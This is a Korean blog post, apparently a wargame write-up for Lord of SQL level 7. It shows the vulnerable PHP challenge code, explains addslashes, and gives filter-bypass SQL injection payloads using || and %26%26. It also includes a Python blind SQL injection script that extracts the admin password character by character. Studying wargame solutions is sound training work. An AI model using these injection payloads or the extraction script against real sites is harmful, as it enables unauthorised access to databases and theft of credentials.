EASY7

Lord of the SQL 7번 본문

Project/Lord of SQL

Lord of the SQL 7번

E.asiest 2019. 8. 4. 16:12

Lord of the SQL 7번

 

<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  
highlight_file(__FILE__); 
?>

 

 

#PHP 함수

addslashes : 데이터베이스 질의 등에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙여주는 함수.

홑따옴표('), 겹따옴표("), 백슬래시(\), NUL(null 바이트)가 있다.  

예를 들어 I'm student 를 I\'m student로 바꿔주는 기능을 한다.

R'Lilly같은 값을 데이터베이스에 넣을 때 따옴표를 escape시키기 위해 사용된다.

이 데이터를 데이터베이스에 넣으면 추가한 \는 빠진 채로 저장된다.

 

stripslashes 는 그 반대 기능이며 \를 제거해준다. 

 

PHP에서 자동으로 설정하는 방법

magic_quotes_gpc 

GET, POST, COOKIE에서 값들을 자동으로 escape시켜준다.

서버 관리자가 PHP 설치할 때 설정할 수 있다. 

bool get_magic_quotes_gpc(void)가 true이면 이 설정이 되어있다는 뜻이다.

 

 

 

' || id='admin : OR 대신 || 대입 -> hello admin

' || id='admin' %26%26 length(pw)='8 : and 대신 &&을 쓸 수 있는데. URL에서 &는 필터링된다. 아스키코드로 %26%26썼더니 hello admin

 

 

 

 

Python 코드로 패스워드 알아내기


import requests 

URL = 'https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php' 
cookies ={'PHPSESSID' : '내 쿠키값'} 
  
for i in range(1,9) : 
    for j in range(32,127) : 
        params = {'pw' : '\' ||  ascii(substr(pw,%d,1))=\'%d' %(i, j)} 
        res = requests.get(url=URL, params=params, cookies=cookies) 
        if("Hello admin" in res.text) : 
            print (chr(j)) 
            break


 

 

답 : 6c864dec

'Project > Lord of SQL' 카테고리의 다른 글

Lord of the SQL 9번  (0) 2019.08.04
Lord of the SQL 8번  (0) 2019.08.04
Lord of the SQL 6번  (0) 2019.08.04
Lord of SQL 5번  (0) 2019.08.04
Lord of SQL 4번  (0) 2019.07.29
Comments